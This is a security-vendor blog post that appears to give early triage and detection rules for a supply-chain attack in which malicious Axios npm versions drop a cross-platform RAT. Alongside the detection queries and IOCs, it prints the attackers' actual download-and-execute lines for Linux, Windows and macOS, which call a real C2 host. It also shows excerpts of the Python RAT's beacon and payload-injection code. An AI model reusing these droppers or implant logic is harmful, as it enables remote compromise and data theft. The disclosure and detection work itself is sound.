Elastic Security Labs is releasing an initial triage and detection rules for the Axios supply-chain compromise. We will release a detailed analysis in a future publication, but we wanted to get detection and coverage information out immediately.
Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.
Introduction
We are currently tracking a supply chain attack involving malicious Axios package versions that introduce a secondary dependency used for post-install execution. Rather than embedding malicious logic directly into the primary package, the attacker leveraged a transitive dependency to trigger execution during installation and deploy a cross-platform payload.
Elastic observed consistent execution patterns across impacted systems immediately after npm install of the malicious Axios versions (1.14.1, 0.30.4). The added dependency (plain-crypto-js@4.2.1) executed during postinstall and was quickly followed by a second-stage payload.
Across Linux, Windows, and macOS, the activity followed the same structure:
node (npm install)
→ OS-native execution (sh / cscript / osascript)
→ remote payload retrieval
→ backgrounded or hidden execution of stage 2
This results in a small but high-signal window where:
nodespawns a shell or interpreter- a remote payload is fetched
- execution is detached from the original process
Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage.
How Elastic Detects the Supply Chain Attack
This activity consistently appears in process telemetry as a Node.js process spawning an OS-native execution path to retrieve and execute a remote payload, often in a detached or hidden context. Elastic detections focus on this behavior rather than static indicators, providing reliable coverage of the delivery stage across platforms.
Linux
The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing. We observed that the delivery stage produced exactly the kind of process ancestry you would expect from a compromised dependency:
node → /bin/sh -c curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ... &
Which shows up as follows:
The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the Curl or Wget Spawned via Node.js detection rule.
event.category:process and
process.parent.name:("node" or "bun" or "node.exe" or "bun.exe") and
(
(
process.name:(
"bash" or "dash" or "sh" or "tcsh" or "csh" or "zsh" or "ksh" or
"fish" or "cmd.exe" or "bash.exe" or "powershell.exe"
) and
process.command_line:(*curl*http* or *wget*http*)
) or
process.name:("curl" or "wget" or "curl.exe" or "wget.exe")
)
This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the curl invocation that retrieves /tmp/ld.py from the remote server.
Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by Process Backgrounded by Unusual Parent.
event.category:process and event.type:start and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:(-c and *&)
Which captures the second half of the chain:
sh -c "... && nohup python3 /tmp/ld.py ... &"
The payload is launched with nohup and backgrounded immediately using &, detaching it from the parent process and suppressing output. That transition from a short-lived install-time shell into a detached long-running process is where the actual implant takes over.
After execution, the Linux second stage is a Python-based RAT that establishes a simple polling loop to its C2. The entrypoint work() sends an initial FirstInfo message and then transitions into main_work(), which continuously reports host data and processes tasking:
while True:
ps = print_process_list()
data = {
"hostname": get_host_name(),
"username": get_user_name(),
"os": os,
"processList": ps
}
response_content = send_result(url, body)
if response_content:
process_request(url, uid, response_content)
time.sleep(60)
On first check-in, it performs a targeted directory enumeration via init_dir_info() across user paths such as $HOME, .config, Documents, and Desktop, and builds a process listing directly from /proc, including usernames and start times.
Tasking is minimal but flexible. runscript supports arbitrary shell execution or base64-delivered Python via python3 -c, while peinject simply writes attacker-supplied bytes to a hidden file in /tmp and executes it:
file_path = f"/tmp/.{generate_random_string(6)}"
with open(file_path, "wb") as file:
file.write(payload)
os.chmod(file_path, 0o777)
subprocess.Popen([file_path] + shlex.split(param.decode("utf-8")))
This provides the operator with a lightweight access implant for periodic host profiling, command execution, and follow-on payload delivery.
Together, these detections provide strong coverage of the Linux delivery stage and the transition into the Python backdoor, without relying on specific filenames or hardcoded indicators:
Windows
The Windows execution path follows the same pattern: it uses curl to download a remote PowerShell script and proxy execution via a renamed PowerShell (C:\ProgramData\wt.exe). The following alert shows the process chain:
Where:
wt.exeis a renamed copy ofPowerShell.exelocated inC:\ProgramData\wt.execurlis used to retrieve a remote PowerShell script- execution is performed via the renamed binary
We first observe the creation and use of the renamed interpreter. This is captured by Execution via Renamed Signed Binary Proxy, which flags signed system binaries executed from unexpected locations.
Shortly after, the same binary is used to retrieve the second-stage payload over HTTP. This is picked up by Potential File Transfer via Curl for Windows, capturing the network retrieval stage driven from the scripted execution chain.
The second stage is a PowerShell-based RAT that beacons to its C2 (http[:]//sfrclak[.]com:8000/) every 60 seconds over HTTP using a fake IE8 User-Agent and base64-encoded JSON.
It establishes persistence via Run\MicrosoftUpdate registry key to execute a hidden bat script C:\ProgramData\system.bat:
The batch file dynamically retrieves and executes the payload in memory on login:
start /min powershell -w h -c "
([scriptblock]::Create(
[System.Text.Encoding]::UTF8.GetString(
(Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content
)
)) ''"
Its core capabilities include:
- peinject - in-memory .NET assembly injection using Assembly.Load(byte[]) for process hollowing into cmd.exe.
- runscript - arbitrary PowerShell script execution via encoded commands or temp files,
- rundir - filesystem enumeration of user directories and all drive roots.
On initialization, it fingerprints the host via WMI, collecting hostname, username, OS version, CPU, hardware model, timezone, boot/install times, and a full process listing, and sends an initial directory listing of Documents, Desktop, OneDrive, and AppData before entering its beacon loop.
The second stage triggers both the Startup Persistence via Windows Script Interpreter and Suspicious String Value Written to Registry Run Key alerts:
The Suspicious PowerShell Base64 Decoding rule alert captures the PowerShell RAT script content :
Taken together, these detections capture the full Windows delivery chain: from renamed binary execution, to payload retrieval, to persistence, and in-memory execution via the following behavioral detections:
- Execution via Renamed Signed Binary Proxy
- Potential File Transfer via Curl for Windows
- Startup Persistence via Windows Script Interpreter
- Suspicious String Value Written to Registry Run Key
- Suspicious PowerShell Base64 Decoding
macOS
Analysis shows the loader writes AppleScript to a temp file, runs it via osascript, then downloads the second stage to a fake Apple-looking cache path and launches it through /bin/zsh. The key launcher looks like this:
do shell script "curl -o /Library/Caches/com.apple.act.mond \
-d packages.npm.org/product0 \
-s http://sfrclak.com:8000/6202033 \
&& chmod 770 /Library/Caches/com.apple.act.mond \
&& /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \ &> /dev/null"
The delivered file produced the following execution matching on the file name masquerading attempt and the self-signed code signature :
The payload path itself triggers the Potential Binary Masquerading via Invalid Code Signature and Suspicious URL as argument to Self-Signed Binary endpoint rules, as it mimics Apple naming conventions (com.apple.*) but does not match expected signing characteristics.
com.apple.act.mond is a custom-built macOS backdoor compiled as a universal Mach-O binary (x86_64 and ARM64) using C++ and Xcode, with HTTP-based C2 communications via libcurl and a JSON command protocol.
On initial check-in, it fingerprints the host, collecting hostname, username, OS version, hardware model, timezone, and a full process listing (ps -eo user,pid,command), which surfaces via the Suspicious XPC Service Child Process endpoint rule, capturing unexpected child process activity originating from the backdoor:
The macOS backdoor facilitates:
- C2 connection by passing a URL directly as an argument.
- AppleScript execution using
osascriptvia temporary hidden.scptfiles dropped to/tmp/ - Filesystem enumeration targeting
/Applicationsand~/Library/Application Support - Downloading and executing remote base64-encoded payloads.
- Ad-hoc code signing of dropped payloads (
codesign --force --deep --sign - “/private/tmp/.*”) so it can run past Gatekeeper.
The binary is not packed or obfuscated, ships with debug entitlements enabled, and retains developer build paths (Jain_DEV/client_mac/macWebT) and uses a spoofed IE8/Windows XP user-agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)).
These detections collectively follow the macOS delivery path from staged AppleScript execution to payload launch and post-execution behavior:
- Suspicious URL as argument to Self-Signed Binary
- Potential Binary Masquerading via Invalid Code Signature
- Suspicious XPC Service Child Process
Conclusion
This supply chain attack highlights how little complexity is required to achieve cross-platform compromise when execution is triggered during installation.
Across Linux, Windows, and macOS, we consistently observed the same core pattern: a Node.js process spawning native OS execution to retrieve and launch a remote payload, followed by immediate detachment or hidden execution.
From a detection perspective, the key takeaway is that the most reliable signals are not in the package itself, but in what happens immediately after installation. Process ancestry, network retrieval, and detached execution provide a stable detection surface that remains effective even when payloads, filenames, or infrastructure change.
Elastic detections focused on this behavior provided consistent coverage of the delivery stage across all platforms, without relying on static indicators.
Indicators of Compromise (IOCs)
Related Alerts
Malicious Packages
| Package | Version | Hash (shasum) |
|---|---|---|
axios | 1.14.1 | 2553649f232204966871cea80a5d0d6adc700ca |
axios | 0.30.4 | d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 |
plain-crypto-js | 4.2.1 | 07d889e2dadce6f3910dcbc253317d28ca61c766 |
Additional related packages observed in the ecosystem abuse:
| Package | Version |
|---|---|
@shadanai/openclaw | 2026.3.28-2, 2026.3.28-3, 2026.3.31-1, 2026.3.31-2 |
@qqbrowser/openclaw-qbot | 0.0.130 |
Script / Payload Hashes (SHA256)
| File | SHA256 |
|---|---|
setup.js | e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 |
/tmp/ld.py | 6483c004e207137385f480909d6edecf1b699087378aa91745ecba7c3394f9d7 |
6202033.ps1 | ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c |
system.bat | e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff |
com.apple.act.mond | 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a |
Network Indicators
| Type | Indicator |
|---|---|
| C2 Domain | sfrclak[.]com |
| C2 IP | 142.11.206[.]73 |
| C2 URL | http://sfrclak[.]com:8000/6202033 |
| User-Agent | mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) |
| macOS POST body | packages[.]npm[.]org/product0 |
| Windows POST body | packages[.]npm[.]org/product1 |
| Linux POST body | packages[.]npm[.]org/product2 |
File System Indicators
Cross-platform
| Path / Artifact | Description |
|---|---|
$TMPDIR/6202033 | Temporary staging artifact |
*/node_modules/plain-crypto-js/setup.js | Node.js first-stage dropper |
Linux
| Path | Description |
|---|---|
/tmp/ld.py | Python RAT second stage |
Windows
| Path | Description |
|---|---|
%PROGRAMDATA%\wt.exe | Renamed powershell.exe (execution proxy) |
%PROGRAMDATA%\system.bat | Persistence launcher |
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate | Persistence key |
%TEMP%\6202033.vbs | VBS launcher (self-deletes) |
%TEMP%\6202033.ps1 | PowerShell payload (self-deletes) |
macOS
| Path | Description |
|---|---|
/Library/Caches/com.apple.act.mond | Mach-O backdoor payload |
/tmp/*.scpt | Temporary AppleScript launcher |
